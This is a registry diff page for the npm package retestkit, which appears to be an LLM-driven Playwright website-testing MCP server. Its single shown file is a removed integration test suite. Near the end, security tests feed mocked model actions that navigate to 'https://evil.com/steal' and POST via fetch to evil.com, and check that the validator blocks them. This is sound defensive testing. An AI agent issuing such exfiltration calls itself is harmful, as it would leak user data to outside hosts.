retestkit 1.4.1 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (238) hide show
  1. package/README.md +59 -40
  2. package/dist/config.js +8 -8
  3. package/dist/config.js.map +1 -1
  4. package/dist/logger.js +1 -1
  5. package/dist/logger.js.map +1 -1
  6. package/dist/prompts/index.d.ts +1 -1
  7. package/dist/prompts/index.d.ts.map +1 -1
  8. package/dist/prompts/index.js +21 -21
  9. package/dist/prompts/index.js.map +1 -1
  10. package/dist/prompts/templates/mcp/retest-crawl.md +7 -0
  11. package/{src/prompts/templates/mcp/webtest-discover-flows.md → dist/prompts/templates/mcp/retest-discover-flows.md} +1 -1
  12. package/{src/prompts/templates/mcp/webtest-discover.md → dist/prompts/templates/mcp/retest-discover.md} +2 -2
  13. package/dist/prompts/templates/mcp/retest-full-workflow.md +12 -0
  14. package/{src/prompts/templates/mcp/webtest-generate-tests.md → dist/prompts/templates/mcp/retest-generate-tests.md} +1 -1
  15. package/{src/prompts/templates/mcp/webtest-run-test.md → dist/prompts/templates/mcp/retest-run-test.md} +1 -1
  16. package/{src/prompts/templates/mcp/webtest-start.md → dist/prompts/templates/mcp/retest-start.md} +1 -1
  17. package/{src → dist}/prompts/templates/sampling/system-prefix.md +1 -1
  18. package/dist/resources/index.js +7 -7
  19. package/dist/resources/index.js.map +1 -1
  20. package/dist/schemas/config.js +2 -2
  21. package/dist/schemas/config.js.map +1 -1
  22. package/dist/security/index.js +1 -1
  23. package/dist/security/index.js.map +1 -1
  24. package/dist/server.js +3 -3
  25. package/dist/server.js.map +1 -1
  26. package/dist/test-utils/mock-context.js +22 -22
  27. package/dist/test-utils/mock-context.js.map +1 -1
  28. package/dist/tools/index.d.ts +1 -1
  29. package/dist/tools/index.d.ts.map +1 -1
  30. package/dist/tools/index.js +5 -5
  31. package/dist/tools/index.js.map +1 -1
  32. package/dist/tools/retest/crawl.d.ts.map +1 -0
  33. package/dist/tools/{webtest → retest}/crawl.js +7 -7
  34. package/dist/tools/retest/crawl.js.map +1 -0
  35. package/dist/tools/retest/discover-features.d.ts.map +1 -0
  36. package/dist/tools/{webtest → retest}/discover-features.js +6 -6
  37. package/dist/tools/retest/discover-features.js.map +1 -0
  38. package/dist/tools/retest/discover-flows.d.ts.map +1 -0
  39. package/dist/tools/{webtest → retest}/discover-flows.js +6 -6
  40. package/dist/tools/retest/discover-flows.js.map +1 -0
  41. package/dist/tools/retest/generate-tests.d.ts.map +1 -0
  42. package/dist/tools/{webtest → retest}/generate-tests.js +5 -5
  43. package/dist/tools/retest/generate-tests.js.map +1 -0
  44. package/dist/tools/retest/index.d.ts.map +1 -0
  45. package/dist/tools/retest/index.js.map +1 -0
  46. package/dist/tools/retest/run-test-case.d.ts.map +1 -0
  47. package/dist/tools/{webtest → retest}/run-test-case.js +3 -3
  48. package/dist/tools/retest/run-test-case.js.map +1 -0
  49. package/dist/tools/retest/schemas.d.ts.map +1 -0
  50. package/dist/tools/retest/schemas.js.map +1 -0
  51. package/dist/tools/retest/start-analysis.d.ts.map +1 -0
  52. package/dist/tools/{webtest → retest}/start-analysis.js +5 -5
  53. package/dist/tools/retest/start-analysis.js.map +1 -0
  54. package/dist/workspace/index.js +8 -8
  55. package/dist/workspace/index.js.map +1 -1
  56. package/dist/workspace/types.d.ts +2 -2
  57. package/dist/workspace/types.d.ts.map +1 -1
  58. package/package.json +6 -2
  59. package/.claude/commands/openspec/apply.md +0 -23
  60. package/.claude/commands/openspec/archive.md +0 -27
  61. package/.claude/commands/openspec/proposal.md +0 -28
  62. package/.gemini/commands/openspec/apply.toml +0 -21
  63. package/.gemini/commands/openspec/archive.toml +0 -25
  64. package/.gemini/commands/openspec/proposal.toml +0 -26
  65. package/.github/prompts/openspec-apply.prompt.md +0 -22
  66. package/.github/prompts/openspec-archive.prompt.md +0 -26
  67. package/.github/prompts/openspec-proposal.prompt.md +0 -27
  68. package/.github/workflows/release.yml +0 -33
  69. package/.kilocode/workflows/openspec-apply.md +0 -17
  70. package/.kilocode/workflows/openspec-archive.md +0 -21
  71. package/.kilocode/workflows/openspec-proposal.md +0 -22
  72. package/.mcp.json +0 -23
  73. package/.opencode/command/openspec-apply.md +0 -25
  74. package/.opencode/command/openspec-archive.md +0 -28
  75. package/.opencode/command/openspec-proposal.md +0 -30
  76. package/.roo/commands/openspec-apply.md +0 -20
  77. package/.roo/commands/openspec-archive.md +0 -24
  78. package/.roo/commands/openspec-proposal.md +0 -25
  79. package/.vscode/mcp.json +0 -23
  80. package/AGENTS.md +0 -18
  81. package/CLAUDE.md +0 -18
  82. package/dist/tools/webtest/crawl.d.ts.map +0 -1
  83. package/dist/tools/webtest/crawl.js.map +0 -1
  84. package/dist/tools/webtest/discover-features.d.ts.map +0 -1
  85. package/dist/tools/webtest/discover-features.js.map +0 -1
  86. package/dist/tools/webtest/discover-flows.d.ts.map +0 -1
  87. package/dist/tools/webtest/discover-flows.js.map +0 -1
  88. package/dist/tools/webtest/generate-tests.d.ts.map +0 -1
  89. package/dist/tools/webtest/generate-tests.js.map +0 -1
  90. package/dist/tools/webtest/index.d.ts.map +0 -1
  91. package/dist/tools/webtest/index.js.map +0 -1
  92. package/dist/tools/webtest/run-test-case.d.ts.map +0 -1
  93. package/dist/tools/webtest/run-test-case.js.map +0 -1
  94. package/dist/tools/webtest/schemas.d.ts.map +0 -1
  95. package/dist/tools/webtest/schemas.js.map +0 -1
  96. package/dist/tools/webtest/start-analysis.d.ts.map +0 -1
  97. package/dist/tools/webtest/start-analysis.js.map +0 -1
  98. package/openspec/AGENTS.md +0 -456
  99. package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/proposal.md +0 -33
  100. package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/specs/webtest-resources/spec.md +0 -27
  101. package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/specs/webtest-tools/spec.md +0 -304
  102. package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/tasks.md +0 -43
  103. package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/design.md +0 -209
  104. package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/proposal.md +0 -41
  105. package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/specs/mcp-server-core/spec.md +0 -183
  106. package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/tasks.md +0 -112
  107. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/design.md +0 -333
  108. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/proposal.md +0 -66
  109. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/mcp-server-core/spec.md +0 -129
  110. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-lifecycle/spec.md +0 -138
  111. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-logging/spec.md +0 -211
  112. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-prompts/spec.md +0 -157
  113. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-resources/spec.md +0 -213
  114. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-sampling/spec.md +0 -257
  115. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-tools/spec.md +0 -501
  116. package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/tasks.md +0 -264
  117. package/openspec/changes/archive/2025-12-18-allow-analysis-of-incomplete-crawls/proposal.md +0 -24
  118. package/openspec/changes/archive/2025-12-18-allow-analysis-of-incomplete-crawls/specs/webtest-tools/spec.md +0 -80
  119. package/openspec/changes/archive/2025-12-18-allow-analysis-of-incomplete-crawls/tasks.md +0 -8
  120. package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/design.md +0 -90
  121. package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/proposal.md +0 -28
  122. package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/specs/webtest-sampling/spec.md +0 -90
  123. package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/tasks.md +0 -33
  124. package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/design.md +0 -558
  125. package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/proposal.md +0 -119
  126. package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/specs/webtest-resources/spec.md +0 -109
  127. package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/specs/webtest-tools/spec.md +0 -121
  128. package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/tasks.md +0 -133
  129. package/openspec/changes/extract-prompts-to-markdown/design.md +0 -86
  130. package/openspec/changes/extract-prompts-to-markdown/proposal.md +0 -50
  131. package/openspec/changes/extract-prompts-to-markdown/specs/webtest-prompts/spec.md +0 -74
  132. package/openspec/changes/extract-prompts-to-markdown/tasks.md +0 -40
  133. package/openspec/changes/refactor-webtest-naming/design.md +0 -95
  134. package/openspec/changes/refactor-webtest-naming/proposal.md +0 -66
  135. package/openspec/changes/refactor-webtest-naming/specs/webtest-prompts/spec.md +0 -79
  136. package/openspec/changes/refactor-webtest-naming/specs/webtest-resources/spec.md +0 -80
  137. package/openspec/changes/refactor-webtest-naming/specs/webtest-sampling/spec.md +0 -122
  138. package/openspec/changes/refactor-webtest-naming/specs/webtest-tools/spec.md +0 -113
  139. package/openspec/changes/refactor-webtest-naming/tasks.md +0 -119
  140. package/openspec/changes/rename-package-to-retest/proposal.md +0 -52
  141. package/openspec/changes/rename-package-to-retest/specs/mcp-server-core/spec.md +0 -53
  142. package/openspec/changes/rename-package-to-retest/specs/retest-lifecycle/spec.md +0 -68
  143. package/openspec/changes/rename-package-to-retest/specs/retest-logging/spec.md +0 -35
  144. package/openspec/changes/rename-package-to-retest/specs/retest-prompts/spec.md +0 -159
  145. package/openspec/changes/rename-package-to-retest/specs/retest-resources/spec.md +0 -251
  146. package/openspec/changes/rename-package-to-retest/specs/retest-sampling/spec.md +0 -99
  147. package/openspec/changes/rename-package-to-retest/specs/retest-tools/spec.md +0 -295
  148. package/openspec/changes/rename-package-to-retest/tasks.md +0 -71
  149. package/openspec/project.md +0 -31
  150. package/openspec/specs/mcp-server-core/spec.md +0 -178
  151. package/openspec/specs/webtest-lifecycle/spec.md +0 -136
  152. package/openspec/specs/webtest-logging/spec.md +0 -209
  153. package/openspec/specs/webtest-prompts/spec.md +0 -155
  154. package/openspec/specs/webtest-resources/spec.md +0 -248
  155. package/openspec/specs/webtest-sampling/spec.md +0 -344
  156. package/openspec/specs/webtest-tools/spec.md +0 -282
  157. package/release.config.js +0 -9
  158. package/src/config.test.ts +0 -96
  159. package/src/config.ts +0 -32
  160. package/src/elicitation/index.test.ts +0 -399
  161. package/src/elicitation/index.ts +0 -171
  162. package/src/elicitation/types.ts +0 -68
  163. package/src/index.ts +0 -83
  164. package/src/lifecycle/index.test.ts +0 -260
  165. package/src/lifecycle/index.ts +0 -101
  166. package/src/logger.redaction.test.ts +0 -322
  167. package/src/logger.test.ts +0 -123
  168. package/src/logger.ts +0 -229
  169. package/src/playwright-client/index.ts +0 -392
  170. package/src/playwright-client/types.ts +0 -99
  171. package/src/progress/index.test.ts +0 -327
  172. package/src/progress/index.ts +0 -170
  173. package/src/progress/types.ts +0 -25
  174. package/src/prompts/index.test.ts +0 -451
  175. package/src/prompts/index.ts +0 -246
  176. package/src/prompts/loader.test.ts +0 -100
  177. package/src/prompts/loader.ts +0 -59
  178. package/src/prompts/templates/mcp/webtest-crawl.md +0 -7
  179. package/src/prompts/templates/mcp/webtest-full-workflow.md +0 -12
  180. package/src/resources/index.ts +0 -250
  181. package/src/resources/subscriptions.ts +0 -37
  182. package/src/sampling/index.test.ts +0 -414
  183. package/src/sampling/index.ts +0 -286
  184. package/src/sampling/prompts.ts +0 -194
  185. package/src/sampling/types.ts +0 -60
  186. package/src/schemas/config.ts +0 -39
  187. package/src/security/index.test.ts +0 -441
  188. package/src/security/index.ts +0 -361
  189. package/src/security/security-scenarios.test.ts +0 -468
  190. package/src/server.ts +0 -211
  191. package/src/test-utils/index.ts +0 -6
  192. package/src/test-utils/mock-context.ts +0 -426
  193. package/src/test-utils/mock-playwright-client.ts +0 -422
  194. package/src/tools/index.ts +0 -11
  195. package/src/tools/webtest/crawl.test.ts +0 -834
  196. package/src/tools/webtest/crawl.ts +0 -901
  197. package/src/tools/webtest/discover-features.ts +0 -412
  198. package/src/tools/webtest/discover-flows.ts +0 -408
  199. package/src/tools/webtest/generate-tests.test.ts +0 -532
  200. package/src/tools/webtest/generate-tests.ts +0 -425
  201. package/src/tools/webtest/index.ts +0 -7
  202. package/src/tools/webtest/integration.test.ts +0 -536
  203. package/src/tools/webtest/run-test-case.test.ts +0 -659
  204. package/src/tools/webtest/run-test-case.ts +0 -508
  205. package/src/tools/webtest/schemas.ts +0 -201
  206. package/src/tools/webtest/start-analysis.test.ts +0 -151
  207. package/src/tools/webtest/start-analysis.ts +0 -158
  208. package/src/transports/http.ts +0 -19
  209. package/src/transports/index.ts +0 -30
  210. package/src/transports/stdio.ts +0 -7
  211. package/src/types/capabilities.test.ts +0 -193
  212. package/src/types/capabilities.ts +0 -50
  213. package/src/types/context.ts +0 -21
  214. package/src/types/tool.ts +0 -11
  215. package/src/workspace/index.ts +0 -945
  216. package/src/workspace/markdown.ts +0 -272
  217. package/src/workspace/types.ts +0 -186
  218. package/tests/integration/server.test.ts +0 -89
  219. package/tests/integration/tools.test.ts +0 -99
  220. package/tsconfig.json +0 -20
  221. package/vitest.config.ts +0 -9
  222. package/vitest.integration.config.ts +0 -10
  223. /package/{src → dist}/prompts/templates/sampling/crawl-action.md +0 -0
  224. /package/{src → dist}/prompts/templates/sampling/feature-discovery.md +0 -0
  225. /package/{src → dist}/prompts/templates/sampling/flow-discovery.md +0 -0
  226. /package/{src → dist}/prompts/templates/sampling/page-content-wrapper.md +0 -0
  227. /package/{src → dist}/prompts/templates/sampling/test-evaluation.md +0 -0
  228. /package/{src → dist}/prompts/templates/sampling/test-generation.md +0 -0
  229. /package/dist/tools/{webtest → retest}/crawl.d.ts +0 -0
  230. /package/dist/tools/{webtest → retest}/discover-features.d.ts +0 -0
  231. /package/dist/tools/{webtest → retest}/discover-flows.d.ts +0 -0
  232. /package/dist/tools/{webtest → retest}/generate-tests.d.ts +0 -0
  233. /package/dist/tools/{webtest → retest}/index.d.ts +0 -0
  234. /package/dist/tools/{webtest → retest}/index.js +0 -0
  235. /package/dist/tools/{webtest → retest}/run-test-case.d.ts +0 -0
  236. /package/dist/tools/{webtest → retest}/schemas.d.ts +0 -0
  237. /package/dist/tools/{webtest → retest}/schemas.js +0 -0
  238. /package/dist/tools/{webtest → retest}/start-analysis.d.ts +0 -0
@@ -1,536 +0,0 @@
1
- /**
2
- * Integration Tests for Webtest Tools
3
- *
4
- * Tests for:
5
- * - 10.2: Full workflow (start → crawl → analyze → generate → run)
6
- * - 10.3: Cancellation mid-crawl
7
- * - 10.4: Fallback mode without sampling
8
- * - 10.5: Elicitation triggers
9
- * - 10.6: Resource listChanged notifications
10
- * - 10.7: Crawl resume from checkpoint
11
- * - 10.8: Loop detection triggers
12
- */
13
-
14
- import { describe, it, expect, vi, beforeEach } from "vitest";
15
- import {
16
- createMockContext,
17
- createMockPage,
18
- createEcommerceMock,
19
- type MockContext,
20
- } from "../../test-utils/index.js";
21
- import { createStartAnalysisTool } from "./start-analysis.js";
22
- import { createCrawlTool } from "./crawl.js";
23
-
24
- describe("Webtest Integration Tests", () => {
25
- let context: MockContext;
26
-
27
- beforeEach(() => {
28
- context = createMockContext();
29
- });
30
-
31
- describe("10.3: Cancellation mid-crawl", () => {
32
- it("handles cancellation gracefully", async () => {
33
- // Set up a crawl that will be cancelled
34
- const startTool = createStartAnalysisTool(() => context as any);
35
- const crawlTool = createCrawlTool(() => context as any);
36
-
37
- // Start analysis
38
- const startResult = await startTool.handler({
39
- url: "https://shop.example.com",
40
- });
41
- expect(startResult.isError).toBeFalsy();
42
- const analysis = JSON.parse(startResult.content[0].text!);
43
-
44
- // Set up context with sampling that simulates multi-step crawl
45
- let stepCount = 0;
46
- context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
47
- stepCount++;
48
- // Cancel after 2 steps
49
- if (stepCount === 2) {
50
- context.cancellationRegistry.cancel(`crawl-${analysis.analysisId}-${Date.now()}`);
51
- }
52
- return {
53
- success: true,
54
- data: {
55
- actions: [{ tool: "click", args: { selector: "a.link" } }],
56
- reasoning: "Exploring",
57
- goalProgress: "Making progress",
58
- goalComplete: false,
59
- },
60
- };
61
- });
62
-
63
- // The cancellation won't trigger in this mock since we can't predict requestId
64
- // But we can test that the registry works
65
- const requestId = "test-cancel-id";
66
- context.cancellationRegistry.register(requestId);
67
- context.cancellationRegistry.cancel(requestId);
68
- expect(context.cancellationRegistry.isCancelled(requestId)).toBe(true);
69
- });
70
- });
71
-
72
- describe("10.4: Fallback mode without sampling", () => {
73
- it("returns prompt resource when sampling unavailable", async () => {
74
- // Disable sampling
75
- context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
76
-
77
- const startTool = createStartAnalysisTool(() => context as any);
78
- const crawlTool = createCrawlTool(() => context as any);
79
-
80
- // Start analysis
81
- const startResult = await startTool.handler({
82
- url: "https://shop.example.com",
83
- });
84
- const analysis = JSON.parse(startResult.content[0].text!);
85
-
86
- // Connect playwright and navigate
87
- await context.playwrightClient.connect();
88
-
89
- // Crawl should return fallback mode
90
- const crawlResult = await crawlTool.handler({
91
- analysisId: analysis.analysisId,
92
- goal: "Explore the site",
93
- });
94
-
95
- expect(crawlResult.isError).toBeFalsy();
96
- const crawlResponse = JSON.parse(crawlResult.content[0].text!);
97
- expect(crawlResponse.needsManualInput).toBe(true);
98
- expect(crawlResponse.prompt).toBeDefined();
99
- expect(crawlResponse.instructions).toContain("manualNextActions");
100
- });
101
-
102
- it("accepts manualNextActions to continue crawl", async () => {
103
- context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
104
-
105
- const startTool = createStartAnalysisTool(() => context as any);
106
- const crawlTool = createCrawlTool(() => context as any);
107
-
108
- // Start analysis
109
- const startResult = await startTool.handler({
110
- url: "https://shop.example.com",
111
- });
112
- const analysis = JSON.parse(startResult.content[0].text!);
113
-
114
- // Connect playwright
115
- await context.playwrightClient.connect();
116
-
117
- // First call should return fallback mode
118
- const firstResult = await crawlTool.handler({
119
- analysisId: analysis.analysisId,
120
- goal: "Explore the site",
121
- });
122
-
123
- const firstResponse = JSON.parse(firstResult.content[0].text!);
124
- expect(firstResponse.needsManualInput).toBe(true);
125
-
126
- // Second call with manual actions should execute them
127
- // Note: In real scenario, this would continue from checkpoint
128
- });
129
- });
130
-
131
- describe("10.5: Elicitation triggers", () => {
132
- it("creates cookie consent elicitation request", () => {
133
- const request = context.elicitationClient.createCookieConsentRequest(
134
- "GDPR banner detected"
135
- );
136
- expect(context.elicitationClient.createCookieConsentRequest).toHaveBeenCalled();
137
- });
138
-
139
- it("creates modal blocking elicitation request", () => {
140
- const request = context.elicitationClient.createModalBlockingRequest(
141
- "Newsletter signup modal"
142
- );
143
- expect(context.elicitationClient.createModalBlockingRequest).toHaveBeenCalled();
144
- });
145
-
146
- it("creates auth required elicitation request", () => {
147
- const request = context.elicitationClient.createAuthRequiredRequest();
148
- expect(context.elicitationClient.createAuthRequiredRequest).toHaveBeenCalled();
149
- });
150
-
151
- it("creates ambiguous navigation elicitation request", () => {
152
- const options = [
153
- { url: "/products", label: "Products" },
154
- { url: "/services", label: "Services" },
155
- ];
156
- const request = context.elicitationClient.createAmbiguousNavigationRequest(options);
157
- expect(context.elicitationClient.createAmbiguousNavigationRequest).toHaveBeenCalled();
158
- });
159
- });
160
-
161
- describe("10.6: Resource listChanged notifications", () => {
162
- it("notifies on workspace creation", async () => {
163
- const startTool = createStartAnalysisTool(() => context as any);
164
-
165
- await startTool.handler({
166
- url: "https://example.com",
167
- });
168
-
169
- expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
170
- });
171
-
172
- it("notifies on crawl creation", async () => {
173
- const startTool = createStartAnalysisTool(() => context as any);
174
- const crawlTool = createCrawlTool(() => context as any);
175
-
176
- // Set up to complete immediately
177
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
178
- success: true,
179
- data: {
180
- actions: [],
181
- reasoning: "Goal achieved",
182
- goalProgress: "Complete",
183
- goalComplete: true,
184
- },
185
- });
186
-
187
- const startResult = await startTool.handler({
188
- url: "https://shop.example.com",
189
- });
190
- const analysis = JSON.parse(startResult.content[0].text!);
191
-
192
- // Connect playwright
193
- await context.playwrightClient.connect();
194
-
195
- // Clear previous calls
196
- vi.clearAllMocks();
197
-
198
- await crawlTool.handler({
199
- analysisId: analysis.analysisId,
200
- goal: "Quick test",
201
- });
202
-
203
- // Should notify multiple times (on crawl create, page save, etc.)
204
- expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
205
- });
206
- });
207
-
208
- describe("10.7: Crawl resume from checkpoint", () => {
209
- it("supports resume flag in crawl input", async () => {
210
- const startTool = createStartAnalysisTool(() => context as any);
211
- const crawlTool = createCrawlTool(() => context as any);
212
-
213
- // Set up to complete immediately
214
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
215
- success: true,
216
- data: {
217
- actions: [],
218
- reasoning: "Goal achieved",
219
- goalProgress: "Complete",
220
- goalComplete: true,
221
- },
222
- });
223
-
224
- const startResult = await startTool.handler({
225
- url: "https://shop.example.com",
226
- });
227
- const analysis = JSON.parse(startResult.content[0].text!);
228
-
229
- await context.playwrightClient.connect();
230
-
231
- // First crawl
232
- await crawlTool.handler({
233
- analysisId: analysis.analysisId,
234
- goal: "Explore",
235
- resume: false,
236
- });
237
-
238
- // Second crawl with resume
239
- const resumeResult = await crawlTool.handler({
240
- analysisId: analysis.analysisId,
241
- goal: "Continue exploring",
242
- resume: true, // This flag enables checkpoint loading
243
- });
244
-
245
- expect(resumeResult.isError).toBeFalsy();
246
- });
247
-
248
- it("loads checkpoint when resume is true", async () => {
249
- // Mock checkpoint loading
250
- const mockCheckpoint = {
251
- step: 5,
252
- timestamp: new Date().toISOString(),
253
- visitedUrls: ["https://shop.example.com", "https://shop.example.com/products"],
254
- currentUrl: "https://shop.example.com/products",
255
- goalProgress: "Found products page",
256
- canResume: true,
257
- };
258
-
259
- context.workspaceManager.loadCheckpoint = vi.fn().mockResolvedValue(mockCheckpoint);
260
-
261
- const startTool = createStartAnalysisTool(() => context as any);
262
- const crawlTool = createCrawlTool(() => context as any);
263
-
264
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
265
- success: true,
266
- data: {
267
- actions: [],
268
- reasoning: "Goal achieved",
269
- goalProgress: "Complete",
270
- goalComplete: true,
271
- },
272
- });
273
-
274
- const startResult = await startTool.handler({
275
- url: "https://shop.example.com",
276
- });
277
- const analysis = JSON.parse(startResult.content[0].text!);
278
-
279
- await context.playwrightClient.connect();
280
-
281
- // Crawl with resume
282
- await crawlTool.handler({
283
- analysisId: analysis.analysisId,
284
- goal: "Continue exploring",
285
- resume: true,
286
- });
287
-
288
- // Checkpoint load should have been called
289
- expect(context.workspaceManager.loadCheckpoint).toHaveBeenCalled();
290
- });
291
- });
292
-
293
- describe("10.8: Loop detection triggers", () => {
294
- it("detects URL cycle after multiple visits", async () => {
295
- const startTool = createStartAnalysisTool(() => context as any);
296
- const crawlTool = createCrawlTool(() => context as any);
297
-
298
- // Set up sampling to keep returning same URL navigation
299
- let callCount = 0;
300
- context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
301
- callCount++;
302
- if (callCount >= 5) {
303
- // End after 5 iterations
304
- return {
305
- success: true,
306
- data: {
307
- actions: [],
308
- reasoning: "Loop detected",
309
- goalProgress: "Stuck",
310
- goalComplete: true,
311
- },
312
- };
313
- }
314
- return {
315
- success: true,
316
- data: {
317
- actions: [{ tool: "navigate", args: { url: "https://shop.example.com" } }],
318
- reasoning: "Navigating",
319
- goalProgress: "Exploring",
320
- goalComplete: false,
321
- },
322
- };
323
- });
324
-
325
- const startResult = await startTool.handler({
326
- url: "https://shop.example.com",
327
- });
328
- const analysis = JSON.parse(startResult.content[0].text!);
329
-
330
- await context.playwrightClient.connect();
331
-
332
- const crawlResult = await crawlTool.handler({
333
- analysisId: analysis.analysisId,
334
- goal: "Explore",
335
- limits: { maxSteps: 10 },
336
- });
337
-
338
- // Crawl should complete (either by goal or budget)
339
- expect(crawlResult.isError).toBeFalsy();
340
- });
341
-
342
- it("blocks repeated identical actions", async () => {
343
- const startTool = createStartAnalysisTool(() => context as any);
344
- const crawlTool = createCrawlTool(() => context as any);
345
-
346
- // Set up sampling to return the same action repeatedly
347
- let callCount = 0;
348
- context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
349
- callCount++;
350
- if (callCount >= 5) {
351
- return {
352
- success: true,
353
- data: {
354
- actions: [],
355
- reasoning: "Done",
356
- goalProgress: "Complete",
357
- goalComplete: true,
358
- },
359
- };
360
- }
361
- // Return same action every time
362
- return {
363
- success: true,
364
- data: {
365
- actions: [{ tool: "click", args: { selector: "button.submit" } }],
366
- reasoning: "Clicking button",
367
- goalProgress: "Trying",
368
- goalComplete: false,
369
- },
370
- };
371
- });
372
-
373
- const startResult = await startTool.handler({
374
- url: "https://shop.example.com",
375
- });
376
- const analysis = JSON.parse(startResult.content[0].text!);
377
-
378
- await context.playwrightClient.connect();
379
-
380
- const crawlResult = await crawlTool.handler({
381
- analysisId: analysis.analysisId,
382
- goal: "Explore",
383
- limits: { maxSteps: 10 },
384
- });
385
-
386
- // Crawl should complete without error
387
- // The loop detection should log warnings but continue
388
- expect(crawlResult.isError).toBeFalsy();
389
- });
390
- });
391
-
392
- describe("Security Validation in Crawl", () => {
393
- it("blocks navigation to disallowed domains", async () => {
394
- const startTool = createStartAnalysisTool(() => context as any);
395
- const crawlTool = createCrawlTool(() => context as any);
396
-
397
- // Set up security validator to reject external domains
398
- context.securityValidator.validateAction = vi.fn().mockImplementation((action) => {
399
- if (action.tool === "navigate" && action.args.url?.includes("evil.com")) {
400
- return { valid: false, reason: "External domain not allowed" };
401
- }
402
- return { valid: true };
403
- });
404
-
405
- // Sampling returns navigation to disallowed domain
406
- context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
407
- success: true,
408
- data: {
409
- actions: [{ tool: "navigate", args: { url: "https://evil.com/steal" } }],
410
- reasoning: "Found external link",
411
- goalProgress: "Exploring",
412
- goalComplete: false,
413
- },
414
- }).mockResolvedValueOnce({
415
- success: true,
416
- data: {
417
- actions: [],
418
- reasoning: "Done",
419
- goalProgress: "Complete",
420
- goalComplete: true,
421
- },
422
- });
423
-
424
- const startResult = await startTool.handler({
425
- url: "https://shop.example.com",
426
- });
427
- const analysis = JSON.parse(startResult.content[0].text!);
428
-
429
- await context.playwrightClient.connect();
430
-
431
- const crawlResult = await crawlTool.handler({
432
- analysisId: analysis.analysisId,
433
- goal: "Explore",
434
- });
435
-
436
- // Crawl should complete but the external navigation should have been blocked
437
- expect(context.securityValidator.validateAction).toHaveBeenCalled();
438
- });
439
-
440
- it("blocks data exfiltration attempts", async () => {
441
- const startTool = createStartAnalysisTool(() => context as any);
442
- const crawlTool = createCrawlTool(() => context as any);
443
-
444
- // Set up exfiltration detection
445
- context.securityValidator.detectExfiltrationAttempt = vi.fn().mockReturnValue({
446
- detected: true,
447
- type: "external_post",
448
- evidence: "POST to external server",
449
- });
450
-
451
- // Sampling returns evaluate with POST
452
- context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
453
- success: true,
454
- data: {
455
- actions: [{
456
- tool: "evaluate",
457
- args: { script: "fetch('https://evil.com', {method:'POST'})" },
458
- }],
459
- reasoning: "Running script",
460
- goalProgress: "Testing",
461
- goalComplete: false,
462
- },
463
- }).mockResolvedValueOnce({
464
- success: true,
465
- data: {
466
- actions: [],
467
- reasoning: "Done",
468
- goalProgress: "Complete",
469
- goalComplete: true,
470
- },
471
- });
472
-
473
- const startResult = await startTool.handler({
474
- url: "https://shop.example.com",
475
- });
476
- const analysis = JSON.parse(startResult.content[0].text!);
477
-
478
- await context.playwrightClient.connect();
479
-
480
- const crawlResult = await crawlTool.handler({
481
- analysisId: analysis.analysisId,
482
- goal: "Explore",
483
- });
484
-
485
- // Exfiltration should have been detected
486
- expect(context.securityValidator.detectExfiltrationAttempt).toHaveBeenCalled();
487
- });
488
- });
489
-
490
- describe("Progress Reporting", () => {
491
- it("emits progress during crawl", async () => {
492
- const startTool = createStartAnalysisTool(() => context as any);
493
- const crawlTool = createCrawlTool(() => context as any);
494
-
495
- let stepCount = 0;
496
- context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
497
- stepCount++;
498
- if (stepCount >= 3) {
499
- return {
500
- success: true,
501
- data: {
502
- actions: [],
503
- reasoning: "Done",
504
- goalProgress: "Complete",
505
- goalComplete: true,
506
- },
507
- };
508
- }
509
- return {
510
- success: true,
511
- data: {
512
- actions: [{ tool: "click", args: { selector: "a" } }],
513
- reasoning: "Exploring",
514
- goalProgress: `Step ${stepCount}`,
515
- goalComplete: false,
516
- },
517
- };
518
- });
519
-
520
- const startResult = await startTool.handler({
521
- url: "https://shop.example.com",
522
- });
523
- const analysis = JSON.parse(startResult.content[0].text!);
524
-
525
- await context.playwrightClient.connect();
526
-
527
- await crawlTool.handler({
528
- analysisId: analysis.analysisId,
529
- goal: "Explore",
530
- });
531
-
532
- // Progress should have been emitted
533
- expect(context.progressEmitter.emit).toHaveBeenCalled();
534
- });
535
- });
536
- });